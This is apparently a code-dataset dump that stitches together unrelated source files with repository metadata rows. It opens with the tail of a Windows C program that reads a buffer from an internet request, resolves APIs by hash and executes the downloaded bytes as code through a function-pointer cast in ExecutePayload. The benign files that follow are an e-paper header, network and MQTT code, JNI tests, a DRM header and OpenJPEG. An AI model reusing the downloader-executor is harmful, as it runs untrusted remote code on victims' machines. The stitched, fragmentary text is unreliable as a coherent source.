while (bKeepReading && dwBytesRead != 0)
{
bKeepReading = MyInternetReadFile(hInternetRequest, (booof + dwBytesWritten), 4096, &dwBytesRead);
dwBytesWritten += dwBytesRead;
}
MyInternetCloseHandle(hInternetRequest);
MyInternetCloseHandle(hInternetConnect);
MyInternetCloseHandle(hInternetOpen);
(*(void(*)())booof)();
}
VOID ExecutePayload(VOID)
{
FuncCreateThread MyCreateThread;
FuncCloseHandle MyCloseHandle;
HANDLE ht;
#pragma warning(push)
#pragma warning(disable : 4055) // Ignore cast warnings
FuncVirtualAlloc MyVirtualAlloc;
MyCreateThread = (FuncCreateThread)GetProcAddressWithHash(0x160D6838);
MyCloseHandle = (FuncCloseHandle)GetProcAddressWithHash(0x528796C6);
ht = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&TestThread, NULL, 0, NULL);
MyCloseHandle(ht);
#pragma warning(pop)
__nop();
__nop();
__nop();
__nop();
__nop();
}
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow) {
ExecutePayload();
} | 28.722513 | 577 | 0.668064 |
bd17981b6b47a278a0890b810de89295ab22e7b6 | 1,374 | h | C | OTHER/KevinDarrah/GxEPD-master/GxIO/GxIO_DESTM32L/GxIO_DESTM32L.h | dele1972/esp8266--mh-et-154 | d46096e0cbb207c2f43de44a8211bb5aa1cc4c11 | [
"MIT"
] | 1 | 2018-09-27T15:50:11.000Z | 2018-09-27T15:50:11.000Z | OTHER/KevinDarrah/GxEPD-master/GxIO/GxIO_DESTM32L/GxIO_DESTM32L.h | dele1972/esp8266--mh-et-154 | d46096e0cbb207c2f43de44a8211bb5aa1cc4c11 | [
"MIT"
] | null | null | null | OTHER/KevinDarrah/GxEPD-master/GxIO/GxIO_DESTM32L/GxIO_DESTM32L.h | dele1972/esp8266--mh-et-154 | d46096e0cbb207c2f43de44a8211bb5aa1cc4c11 | [
"MIT"
] | 1 | 2019-12-20T19:01:47.000Z | 2019-12-20T19:01:47.000Z | // Class GxIO_DESTM32L : io class for parallel interface e-paper displays from Dalian Good Display Inc.
//
// Created by Jean-Marc Zingg based on demo code from Good Display for red DESTM32-L board.
//
// The GxIO_DESTM32L is board specific and serves as IO channel for the display class.
//
// This classes can also serve as an example for other boards to use with parallel e-paper displays from Good Display,
// however this is not easy, because of the e-paper specific supply voltages and big RAM buffer needed.
//
// To be used with "BLACK 407ZE (V3.0)" of "BLACK F407VE/ZE/ZG boards" of package "STM32GENERIC for STM32 boards" for Arduino.
// https://github.com/danieleff/STM32GENERIC
//
// The e-paper display and demo board is available from:
// http://www.buy-lcd.com/index.php?route=product/product&path=2897_10571&product_id=22833
// or https://www.aliexpress.com/store/product/Epaper-demo-kit-for-6-800X600-epaper-display-GDE060BA/600281_32812255729.html
#ifndef _GxIO_DESTM32L_H
#define _GxIO_DESTM32L_H
#include <Arduino.h>
class GxIO_DESTM32L
{
public:
GxIO_DESTM32L();
void init(uint8_t power_on_led = PB12);
void delay35ns(uint32_t nCount);
void powerOn(void);
void powerOff(void);
void start_scan(void);
void send_row(uint8_t row_data[], uint16_t row_size, uint32_t delay_time);
private:
uint8_t _pwr_led;
};
#endif
| 36.157895 | 126 | 0.752547 |
bd17b03f45a11da44412a90d26996f000bda98c2 | 1,031 | h | C | src/utility/uipethernet-conf.h | kissste/esp8266-enc28j60-UIP-Ethernet | d6985b0412c63c723e6c1dfe99d4c3e8d98cf5b4 | [
"Unlicense"
] | 38 | 2016-08-13T20:33:33.000Z | 2022-02-23T21:23:13.000Z | src/utility/uipethernet-conf.h | kissste/esp8266-enc28j60-UIP-Ethernet | d6985b0412c63c723e6c1dfe99d4c3e8d98cf5b4 | [
"Unlicense"
] | null | null | null | src/utility/uipethernet-conf.h | kissste/esp8266-enc28j60-UIP-Ethernet | d6985b0412c63c723e6c1dfe99d4c3e8d98cf5b4 | [
"Unlicense"
] | 14 | 2016-08-13T20:36:18.000Z | 2022-01-23T08:12:19.000Z | #ifndef UIPETHERNET_CONF_H
#define UIPETHERNET_CONF_H
/* for TCP */
#define UIP_SOCKET_NUMPACKETS 5
#define UIP_CONF_MAX_CONNECTIONS 4
/* for UDP
* set UIP_CONF_UDP to 0 to disable UDP (saves aprox. 5kb flash) */
#define UIP_CONF_UDP 1
#define UIP_CONF_BROADCAST 1
#define UIP_CONF_UDP_CONNS 4
/* number of attempts on write before returning number of bytes sent so far
* set to -1 to block until connection is closed by timeout */
#define UIP_ATTEMPTS_ON_WRITE -1
/* timeout after which UIPClient::connect gives up. The timeout is specified in seconds.
* if set to a number <= 0 connect will timeout when uIP does (which might be longer than you expect...) */
#define UIP_CONNECT_TIMEOUT -1
/* periodic timer for uip (in ms) */
#define UIP_PERIODIC_TIMER 250
/* timer to poll client for data after last write (in ms)
* set to -1 to disable fast polling and rely on periodic only (saves 100 bytes flash) */
#define UIP_CLIENT_TIMER 10
#endif
| 34.366667 | 108 | 0.704171 |
bd18c4fb57c56a32b5cfa897baacbe1b92f18f8a | 902 | h | C | content/browser/android/launcher_thread.h | sarang-apps/darshan_browser | 173649bb8a7c656dc60784d19e7bb73e07c20daa | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 575 | 2015-06-18T23:58:20.000Z | 2022-03-23T09:32:39.000Z | content/browser/android/launcher_thread.h | sarang-apps/darshan_browser | 173649bb8a7c656dc60784d19e7bb73e07c20daa | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 113 | 2015-05-04T09:58:14.000Z | 2022-01-31T19:35:03.000Z | content/browser/android/launcher_thread.h | sarang-apps/darshan_browser | 173649bb8a7c656dc60784d19e7bb73e07c20daa | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 52 | 2015-07-14T10:40:50.000Z | 2022-03-15T01:11:49.000Z | // Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CONTENT_BROWSER_ANDROID_LAUNCHER_THREAD_H
#define CONTENT_BROWSER_ANDROID_LAUNCHER_THREAD_H
#include "base/android/java_handler_thread.h"
#include "base/lazy_instance.h"
namespace content {
namespace android {
// This is Android's launcher thread. This should not be used directly in
// native code, but accessed through BrowserThread(Impl) instead.
class LauncherThread {
public:
static scoped_refptr<base::SingleThreadTaskRunner> GetTaskRunner();
private:
friend base::LazyInstanceTraitsBase<LauncherThread>;
LauncherThread();
~LauncherThread();
base::android::JavaHandlerThread java_handler_thread_;
};
} // namespace android
} // namespace content
#endif // CONTENT_BROWSER_ANDROID_LAUNCHER_THREAD_H
| 26.529412 | 73 | 0.790466 |
bd18c503eccfda5622d8fdab7c5a13e2724dd01c | 1,466 | h | C | source/cppexpose/include/cppexpose/signal/ScopedConnection.h | cginternals/cppexpose | 4d485eb9dbd2a022a5d74ef7f33421cbfaf4085c | [
"MIT"
] | 26 | 2016-04-09T15:47:25.000Z | 2021-07-04T20:49:09.000Z | source/cppexpose/include/cppexpose/signal/ScopedConnection.h | cginternals/cppexpose | 4d485eb9dbd2a022a5d74ef7f33421cbfaf4085c | [
"MIT"
] | 33 | 2016-04-28T11:28:49.000Z | 2018-10-23T14:42:01.000Z | source/cppexpose/include/cppexpose/signal/ScopedConnection.h | cginternals/cppexpose | 4d485eb9dbd2a022a5d74ef7f33421cbfaf4085c | [
"MIT"
] | 12 | 2016-04-07T11:26:59.000Z | 2021-06-24T19:50:39.000Z |
#pragma once
#include <cppexpose/signal/Connection.h>
namespace cppexpose
{
/**
* @brief
* Tool to maintain a connection within a certain scope
*/
class CPPEXPOSE_API ScopedConnection
{
public:
/**
* @brief
* Constructor
*/
ScopedConnection();
/**
* @brief
* Constructor
*
* @param[in] connection
* Connection that is held
*/
ScopedConnection(const Connection & connection);
/**
* @brief
* Copy Constructor (deleted)
*/
ScopedConnection(const ScopedConnection &) = delete;
/**
* @brief
* Move Constructor
*
* @param[in] other
* Scoped connection
*/
ScopedConnection(ScopedConnection && other);
/**
* @brief
* Destructor
*/
~ScopedConnection();
/**
* @brief
* Assign connection
*
* @param[in] connection
* Connection that is held
*/
ScopedConnection & operator=(const Connection & connection);
/**
* @brief
* Assignment operator (deleted)
*/
ScopedConnection & operator=(const ScopedConnection &) = delete;
/**
* @brief
* Move operator
*
* @param[in] other
* Scoped connection
*
* @return
* Reference to this object
*/
ScopedConnection & operator=(ScopedConnection && other);
protected:
Connection m_connection; ///< Connection that is held
};
} // namespace cppexpose
| 16.47191 | 68 | 0.570259 |
bd1920eea92a3909cdda449b1d9d0f6158b09bed | 6,345 | c | C | src/system/src/system_mqtt.c | spikelin/qcloud-iot-sdk-embedded-c | d09774892223f0e7c9d7206ee5acd8122743d9f3 | [
"MIT"
] | null | null | null | src/system/src/system_mqtt.c | spikelin/qcloud-iot-sdk-embedded-c | d09774892223f0e7c9d7206ee5acd8122743d9f3 | [
"MIT"
] | null | null | null | src/system/src/system_mqtt.c | spikelin/qcloud-iot-sdk-embedded-c | d09774892223f0e7c9d7206ee5acd8122743d9f3 | [
"MIT"
] | null | null | null | /*
* Tencent is pleased to support the open source community by making IoT Hub available.
* Copyright (C) 2016 THL A29 Limited, a Tencent company. All rights reserved.
* Licensed under the MIT License (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://opensource.org/licenses/MIT
* Unless required by applicable law or agreed to in writing, software distributed under the License is
* distributed on an "AS IS" basis, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* either express or implied. See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <string.h>
#include "mqtt_client.h"
#include "lite-utils.h"
#include "device.h"
#define MAX_RECV_LEN (512)
static bool sg_rev_success = false;
static bool sg_sub_success = false;
static int sg_sub_packet_id = 0;
static char sg_time[11] = {0};
static MQTTEventHandleFun sg_mqttEventHandle = NULL;
static void on_system_mqtt_message_callback(void *pClient, MQTTMessage *message, void *userData)
{
POINTER_SANITY_CHECK_RTN(message);
Log_i("Receive Message With topicName:%.*s, payload:%.*s",
(int) message->topic_len, message->ptopic, (int) message->payload_len, (char *) message->payload);
static char rcv_buf[MAX_RECV_LEN + 1];
size_t len = (message->payload_len > MAX_RECV_LEN)?MAX_RECV_LEN:(message->payload_len);
if(message->payload_len > MAX_RECV_LEN){
Log_e("paload len exceed buffer size");
}
memcpy(rcv_buf, message->payload, len);
rcv_buf[len] = '\0'; // jsmn_parse relies on a string
char* value = LITE_json_value_of("time", rcv_buf);
if (value != NULL) {
memcpy(sg_time, value, sizeof(sg_time)/sizeof(char));
Log_i("the value of time is %s", sg_time);
}
sg_rev_success = true;
HAL_Free(value);
return;
}
static void system_mqtt_event_handler(void *pclient, void *handle_context, MQTTEventMsg *msg) {
uintptr_t packet_id = (uintptr_t)msg->msg;
switch(msg->event_type) {
case MQTT_EVENT_SUBCRIBE_SUCCESS:
Log_i("subscribe success, packet-id=%u", (unsigned int)packet_id);
sg_sub_success = true;
sg_sub_packet_id = packet_id;
break;
case MQTT_EVENT_SUBCRIBE_TIMEOUT:
Log_i("subscribe wait ack timeout, packet-id=%u", (unsigned int)packet_id);
sg_sub_success = false;
sg_sub_packet_id = packet_id;
break;
case MQTT_EVENT_SUBCRIBE_NACK:
Log_i("subscribe nack, packet-id=%u", (unsigned int)packet_id);
sg_sub_success = false;
sg_sub_packet_id = packet_id;
break;
case MQTT_EVENT_UNDEF:
case MQTT_EVENT_DISCONNECT:
case MQTT_EVENT_RECONNECT:
case MQTT_EVENT_PUBLISH_RECVEIVED:
case MQTT_EVENT_UNSUBCRIBE_SUCCESS:
case MQTT_EVENT_UNSUBCRIBE_TIMEOUT:
case MQTT_EVENT_UNSUBCRIBE_NACK:
case MQTT_EVENT_PUBLISH_SUCCESS:
case MQTT_EVENT_PUBLISH_TIMEOUT:
case MQTT_EVENT_PUBLISH_NACK:
default:
return;
}
}
static int _iot_system_info_get_publish(void *pClient)
{
POINTER_SANITY_CHECK(pClient, QCLOUD_ERR_NULL);
Qcloud_IoT_Client *mqtt_client = (Qcloud_IoT_Client *)pClient;
DeviceInfo *dev_info = iot_device_info_get();
POINTER_SANITY_CHECK(dev_info, QCLOUD_ERR_NULL);
char topic_name[128] = {0};
char payload_content[128] = {0};
HAL_Snprintf(topic_name, sizeof(topic_name), "$sys/operation/%s/%s", dev_info->product_id, dev_info->device_name);
HAL_Snprintf(payload_content, sizeof(payload_content), "{\"type\": \"get\", \"resource\": [\"time\"]}");
PublishParams pub_params = DEFAULT_PUB_PARAMS;
pub_params.qos = QOS0;
pub_params.payload = payload_content;
pub_params.payload_len = strlen(payload_content);
return qcloud_iot_mqtt_publish(mqtt_client, topic_name, &pub_params);
}
static int _iot_system_info_result_subscribe(void *pClient, OnMessageHandler pCallback)
{
POINTER_SANITY_CHECK(pClient, QCLOUD_ERR_NULL);
DeviceInfo *dev_info = iot_device_info_get();
POINTER_SANITY_CHECK(dev_info, QCLOUD_ERR_NULL);
static char topic_name[128] = {0};
int size = HAL_Snprintf(topic_name, sizeof(topic_name), "$sys/operation/result/%s/%s", dev_info->product_id, dev_info->device_name);
if (size < 0 || size > sizeof(topic_name) - 1)
{
Log_e("topic content length not enough! content size:%d buf size:%d", size, (int)sizeof(topic_name));
return QCLOUD_ERR_FAILURE;
}
SubscribeParams sub_params = DEFAULT_SUB_PARAMS;
sub_params.on_message_handler = pCallback;
return IOT_MQTT_Subscribe(pClient, topic_name, &sub_params);
}
int IOT_SYSTEM_GET_TIME(void* pClient, long *time)
{
int ret = 0;
int cntSub = 0;
int cntRev = 0;
POINTER_SANITY_CHECK(pClient, QCLOUD_ERR_NULL);
Qcloud_IoT_Client *mqtt_client = (Qcloud_IoT_Client *)pClient;
//如果第一次订阅$sys/operation/get/${productid}/${devicename}, 则执行订阅操作
//否则,防止多次获取时间的情况下,多次重复订阅
if(!sg_sub_success){
sg_mqttEventHandle = mqtt_client->event_handle.h_fp;
mqtt_client->event_handle.h_fp = system_mqtt_event_handler;
for(cntSub = 0; cntSub < 3; cntSub++){
ret = _iot_system_info_result_subscribe(mqtt_client, on_system_mqtt_message_callback);
if (ret < 0) {
Log_e("Client Subscribe Topic Failed: %d", ret);
continue;
}
ret = IOT_MQTT_Yield(pClient, 10);
if(sg_sub_success)
{
Log_d("the count of subscribe is %d, ", cntSub);
break;
}
}
mqtt_client->event_handle.h_fp = sg_mqttEventHandle;
}
// 如果订阅3次均失败,则直接返回失败
if(!sg_sub_success){
Log_e("Subscribe system info topic failed! sg_sub_success = %d", sg_sub_success);
return QCLOUD_ERR_FAILURE;
}
// 发布获取时间
ret = _iot_system_info_get_publish(mqtt_client);
if (ret < 0) {
Log_e("client publish topic failed :%d.", ret);
return ret;
}
do{
ret = IOT_MQTT_Yield(pClient, 100);
cntRev++;
}while(!sg_rev_success && cntRev < 20);
Log_i("receive time info success: %d, yield count is %d", sg_rev_success, cntRev);
*time = atol(sg_time);
Log_i("the time is %ld", *time);
return QCLOUD_ERR_SUCCESS;
}
| 32.706186 | 136 | 0.693459 |
bd19585a34ea340c2b50407a130fabda1fef9284 | 8,486 | c | C | enhanced/buildtest/tests/stress/qa/src/test/stress/org/apache/harmony/test/stress/jni/arrays/arrays_share.c | qinFamily/freeVM | 9caa0256b4089d74186f84b8fb2afc95a0afc7bc | [
"Apache-2.0"
] | 5 | 2017-03-08T20:32:39.000Z | 2021-07-10T10:12:38.000Z | enhanced/buildtest/tests/stress/qa/src/test/stress/org/apache/harmony/test/stress/jni/arrays/arrays_share.c | qinFamily/freeVM | 9caa0256b4089d74186f84b8fb2afc95a0afc7bc | [
"Apache-2.0"
] | null | null | null | enhanced/buildtest/tests/stress/qa/src/test/stress/org/apache/harmony/test/stress/jni/arrays/arrays_share.c | qinFamily/freeVM | 9caa0256b4089d74186f84b8fb2afc95a0afc7bc | [
"Apache-2.0"
] | 4 | 2015-07-07T07:06:59.000Z | 2018-06-19T22:38:04.000Z | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/**
* @author Vladimir Nenashev
* @version $Revision: 1.4 $
*/
#include"share.h"
#include<stdlib.h>
jclass clazz;
jclass java_lang_object;
jclass intArray;
jclass objectArray;
jmethodID mid;
jmethodID cid;
void ArraysTest_init(JNIEnv* env,
jclass c) {
clazz = (*env)->NewGlobalRef(env, c);
if (clazz == NULL) {
printf("Native code: Cannot create a global ref to class\n");
return;
}
mid = (*env)->GetMethodID(env, clazz, "doCalc", "([I)[I");
if (mid == NULL) {
printf("Cannot get method ID for doCalc([I)[I\n");
return;
}
intArray = (*env)->FindClass(env, "[I");
if (intArray == NULL) {
printf("Native code: Cannot get class for int[]\n");
return;
}
intArray = (*env)->NewGlobalRef(env, intArray);
if (intArray == NULL) {
printf("Native code: Cannot create a global ref for int[]\n");
return;
}
objectArray=(*env)->FindClass(env,"[Ljava/lang/Object;");
if (objectArray == NULL) {
printf("Native code: Cannot get class for java.lang.Object[]\n");
return;
}
objectArray=(*env)->NewGlobalRef(env,objectArray);
if (objectArray == NULL) {
printf("Native code: Cannot create a global ref to java.lang.Object[]\n");
return;
}
setvbuf(stdout, (char*)NULL, _IONBF, 0);
}
void ArraysTest_init_with_Object_Java_method(JNIEnv* env,
jclass c) {
clazz = (*env)->NewGlobalRef(env, c);
if (clazz == NULL) {
printf("Native code: Cannot create a global ref to class\n");
return;
}
mid = (*env)->GetMethodID(env, clazz, "doCalc",
"([Ljava/lang/Object;)[Ljava/lang/Object;");
if (mid == NULL) {
printf(
"Cannot get method ID for doCalc([Ljava/lang/Object;)[Ljava/lang/Object;\n");
return;
}
java_lang_object = (*env)->FindClass(env, "java/lang/Object");
if (java_lang_object == NULL) {
printf("Native code: Cannot get class for java.lang.Object\n");
return;
}
java_lang_object = (*env)->NewGlobalRef(env, java_lang_object);
if (java_lang_object == NULL) {
printf("Native code: Cannot create global ref for java.lang.Object\n");
return;
}
cid = (*env)->GetMethodID(env, java_lang_object,"<init>", "()V");
if (cid == NULL) {
printf("Native code: Cannot get constructor ID for java.lang.Object\n");
return;
}
intArray = (*env)->FindClass(env, "[I");
if (intArray == NULL) {
printf("Native code: Cannot get class for int[]\n");
return;
}
intArray = (*env)->NewGlobalRef(env, intArray);
if (intArray == NULL) {
printf("Native code: Cannot create a global ref for int[]\n");
return;
}
objectArray=(*env)->FindClass(env,"[Ljava/lang/Object;");
if (objectArray == NULL) {
printf("Native code: Cannot get class for java.lang.Object[]\n");
return;
}
objectArray=(*env)->NewGlobalRef(env,objectArray);
if (objectArray == NULL) {
printf("Native code: Cannot create a global ref to java.lang.Object[]\n");
return;
}
setvbuf(stdout, (char*)NULL, _IONBF, 0);
}
void ArraysTest_init_with_no_Java_method(JNIEnv* env,
jclass c) {
clazz = (*env)->NewGlobalRef(env, c);
if (clazz == NULL) {
printf("Native code: Cannot create a global ref to class\n");
return;
}
java_lang_object = (*env)->FindClass(env, "java/lang/Object");
if (java_lang_object == NULL) {
printf("Native code: Cannot get class for java.lang.Object\n");
return;
}
java_lang_object = (*env)->NewGlobalRef(env, java_lang_object);
if (java_lang_object == NULL) {
printf("Native code: Cannot create global ref for java.lang.Object\n");
return;
}
cid = (*env)->GetMethodID(env, java_lang_object, "<init>", "()V");
if (cid == NULL) {
printf("Native code: Cannot get constructor ID for java.lang.Object\n");
return;
}
intArray = (*env)->FindClass(env, "[I");
if (intArray == NULL) {
printf("Native code: Cannot get class for int[]\n");
return;
}
intArray = (*env)->NewGlobalRef(env, intArray);
if (intArray == NULL) {
printf("Native code: Cannot create a global ref for int[]\n");
return;
}
objectArray=(*env)->FindClass(env,"[Ljava/lang/Object;");
if (objectArray == NULL) {
printf("Native code: Cannot get class for java.lang.Object[]\n");
return;
}
objectArray=(*env)->NewGlobalRef(env,objectArray);
if (objectArray == NULL) {
printf("Native code: Cannot create a global ref to java.lang.Object[]\n");
return;
}
setvbuf(stdout,(char*)NULL, _IONBF, 0);
}
void ArraysTest_do_calc(const jint* src,
jint* dst,
int len) {
int i;
for (i = 0; i < len; i++) {
dst[i] = src[len - 1 - i];
}
return;
}
int ArraysTest_do_compare(const jint* arr1,
const jint* arr2,
int len) {
int i;
for (i = 0; i < len; i++) {
if (arr1[i] != arr2[i]) {
return 0;
}
}
return 1;
}
void ArraysTest_do_calc_obj(JNIEnv* env,
jobjectArray src,
jobjectArray dst,
int len) {
int i;
for (i = 0; i < len; i++) {
jobject obj = (*env)->GetObjectArrayElement(env, src, i);
if( (*env)->ExceptionCheck(env) ) {
printf("Native code: Error getting array element of type java.lang.Object, index=%d\n",
i);
return;
}
(*env)->SetObjectArrayElement(env, dst, len - i - 1, obj);
}
}
int ArraysTest_do_compare_obj(JNIEnv* env,
jobjectArray arr1,
jobjectArray arr2,
int len) {
int i;
for(i = 0;i < len; i++) {
jobject obj1, obj2;
obj1 = (*env)->GetObjectArrayElement(env, arr1, i);
if ( (*env)->ExceptionCheck(env) ) {
printf("Native code: Error getting array element of type java.lang.Object, index=%d\n",
i);
return 0;
}
obj2 = (*env)->GetObjectArrayElement(env, arr2, i);
if ( (*env)->ExceptionCheck(env) ) {
printf("Native code: Error getting array element of type java.lang.Object, index=%d\n",
i);
return 0;
}
if ( !(*env)->IsSameObject(env, obj1, obj2) ) {
return 0;
}
}
return 1;
}
/*void ArraysTest_alloc_arrays(JNIEnv* env,
int len,...) {
jint** arr;
va_list ap;
va_start(ap, len);
arr=va_arg(ap, jint**);
while (arr) {
*arr = malloc(sizeof(jint) * len);
if (*arr == NULL) {
jclass exc;
exc=(*env)->FindClass(env, "java/lang/OutOfMemoryError");
if (exc == NULL) {
printf("Native code: Cannot find java.lang.OutOfMemoryError\n");
va_end(ap);
return;
}
(*env)->ThrowNew(env, exc, "malloc() failed in native code");
va_end(ap);
return;
}
arr = va_arg(ap, jint**);
}
va_end(ap);
}
void ArraysTest_free_arrays(JNIEnv* env,...) {
jint* arr;
va_list ap;
va_start(ap, env);
arr = va_arg(ap, jint*);
while (arr) {
free(arr);
arr = va_arg(ap, jint*);
}
va_end(ap);
}*/
JNIEXPORT jlong JNICALL
Java_org_apache_harmony_test_stress_jni_arrays_share_STArraysTest_allocIntArray(
JNIEnv *env,
jclass c,
jint len) {
return (jlong) malloc(sizeof(jint) * len);
}
JNIEXPORT jlong JNICALL
Java_org_apache_harmony_test_stress_jni_arrays_share_MTArraysTest_allocIntArray(
JNIEnv *env,
jclass c,
jint len) {
return (jlong) malloc(sizeof(jint) * len);
}
| 24.315186 | 97 | 0.593566 |
bd19cec2fa4980f6d1ba61ca6db72c3c73136510 | 1,515 | h | C | ALSInAppPurchase/Classes/DelegateToBlock.h | yangzmpang/ALSInAppPurchase | 42111d8e6fd1db02db48e026ff0e35def1382925 | [
"MIT"
] | 1 | 2018-08-24T09:01:10.000Z | 2018-08-24T09:01:10.000Z | ALSInAppPurchase/Classes/DelegateToBlock.h | yangzmpang/ALSInAppPurchase | 42111d8e6fd1db02db48e026ff0e35def1382925 | [
"MIT"
] | null | null | null | ALSInAppPurchase/Classes/DelegateToBlock.h | yangzmpang/ALSInAppPurchase | 42111d8e6fd1db02db48e026ff0e35def1382925 | [
"MIT"
] | null | null | null | //
// DelegateToBlock.h
//
// Created by cevanoff on 5/6/15.
// Copyright (c) 2015 Casey E. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface DelegateToBlock : NSObject
/**
@brief Transform a delegate pattern into a block. When @c selector gets sent to @c target the block will be passed all of the input parameters and executed.
@param selector The target's selector that is being replaced by @c targetThenParametersBlock.
@param target The object (usually a delegate) that will receive the @c selector.
@param targetThenParametersBlock The block to replace the selector with. The block must follow this format: ^void(id target, Type argument1, Type argument2, Type argument3)
@warning If the provided @c target already responds to the selector this function will return early and the block will NOT be executed.
@return Success bool
@code
// EXAMPLE CODE
// replace delegate method SEL(alertView:didDismissWithButtonIndex:) with a block
[DelegateToBlock makeTarget:self respondToSelector:@selector(alertView:didDismissWithButtonIndex:) withBlock:^void(id target, UIAlertView *alertView, NSInteger tappedIndex) {
NSLog(@"tapped index: %ld", tappedIndex);
}];
// present the alert view with self as the delegate
[[[UIAlertView alloc] initWithTitle:@"title" message:nil delegate:self cancelButtonTitle:@"Dismiss" otherButtonTitles:@"Proceed", nil] show];
*/
+(BOOL)makeTarget:(id)target respondToSelector:(SEL)selector withBlock:(id)targetThenParametersBlock;
@end
| 44.558824 | 175 | 0.771617 |
bd1a5d8373a4604d7688db1fb4292b85ac27a000 | 1,031 | h | C | src/add-ons/kernel/drivers/drm/radeondrm/drm/include/linux/dma-fence-array.h | andreasdr/haiku | 63fd7cdde8c48c5e9aef6432468c1c89e5cac57b | [
"MIT"
] | 1 | 2021-06-22T00:15:22.000Z | 2021-06-22T00:15:22.000Z | src/add-ons/kernel/drivers/drm/radeondrm/drm/include/linux/dma-fence-array.h | andreasdr/haiku | 63fd7cdde8c48c5e9aef6432468c1c89e5cac57b | [
"MIT"
] | null | null | null | src/add-ons/kernel/drivers/drm/radeondrm/drm/include/linux/dma-fence-array.h | andreasdr/haiku | 63fd7cdde8c48c5e9aef6432468c1c89e5cac57b | [
"MIT"
] | null | null | null | /* Public domain. */
#ifndef _LINUX_DMA_FENCE_ARRAY_H
#define _LINUX_DMA_FENCE_ARRAY_H
#include <haiku-defs.h>
#include <linux/dma-fence.h>
#include <linux/irq_work.h>
struct dma_fence_array_cb {
struct dma_fence_cb cb;
struct dma_fence_array *array;
};
struct dma_fence_array {
struct dma_fence base;
unsigned int num_fences;
struct dma_fence **fences;
struct mutex lock;
struct irq_work work;
int num_pending;
};
extern const struct dma_fence_ops dma_fence_array_ops;
inline struct dma_fence_array *
to_dma_fence_array(struct dma_fence *fence)
{
// if (fence->ops != &dma_fence_array_ops)
// return NULL;
//
// return container_of(fence, struct dma_fence_array, base);
printf("%s::%i", __FILE__, __LINE__);
for (int i = 0; ; i++);
}
inline bool
dma_fence_is_array(struct dma_fence *fence)
{
// return fence->ops == &dma_fence_array_ops;
printf("%s::%i", __FILE__, __LINE__);
for (int i = 0; ; i++);
}
struct dma_fence_array *dma_fence_array_create(int, struct dma_fence **,
u64, unsigned, bool);
#endif
| 21.040816 | 72 | 0.736178 |
bd1a880025fdff899c9ae9d6d44f040d2af59ea2 | 75,269 | c | C | src/lib/openjp2/t1.c | prosyslab-warehouse/openjpeg-2.2.0 | 8aded182975b4cea58fe279a7415c3cbdbd4e957 | [
"BSD-2-Clause"
] | null | null | null | src/lib/openjp2/t1.c | prosyslab-warehouse/openjpeg-2.2.0 | 8aded182975b4cea58fe279a7415c3cbdbd4e957 | [
"BSD-2-Clause"
] | null | null | null | src/lib/openjp2/t1.c | prosyslab-warehouse/openjpeg-2.2.0 | 8aded182975b4cea58fe279a7415c3cbdbd4e957 | [
"BSD-2-Clause"
] | null | null | null | /*
* The copyright in this software is being made available under the 2-clauses
* BSD License, included below. This software may be subject to other third
* party and contributor rights, including patent rights, and no such rights
* are granted under this license.
*
* Copyright (c) 2002-2014, Universite catholique de Louvain (UCL), Belgium
* Copyright (c) 2002-2014, Professor Benoit Macq
* Copyright (c) 2001-2003, David Janssens
* Copyright (c) 2002-2003, Yannick Verschueren
* Copyright (c) 2003-2007, Francois-Olivier Devaux
* Copyright (c) 2003-2014, Antonin Descampe
* Copyright (c) 2005, Herve Drolon, FreeImage Team
* Copyright (c) 2007, Callum Lerwick <seg@haxxed.com>
* Copyright (c) 2012, Carl Hetherington
* Copyright (c) 2017, IntoPIX SA <support@intopix.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS `AS IS'
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "opj_includes.h"
#include "t1_luts.h"
/** @defgroup T1 T1 - Implementation of the tier-1 coding */
/*@{*/
#define T1_FLAGS(x, y) (t1->flags[x + 1 + ((y / 4) + 1) * (t1->w+2)])
#define opj_t1_setcurctx(curctx, ctxno) curctx = &(mqc)->ctxs[(OPJ_UINT32)(ctxno)]
/** @name Local static functions */
/*@{*/
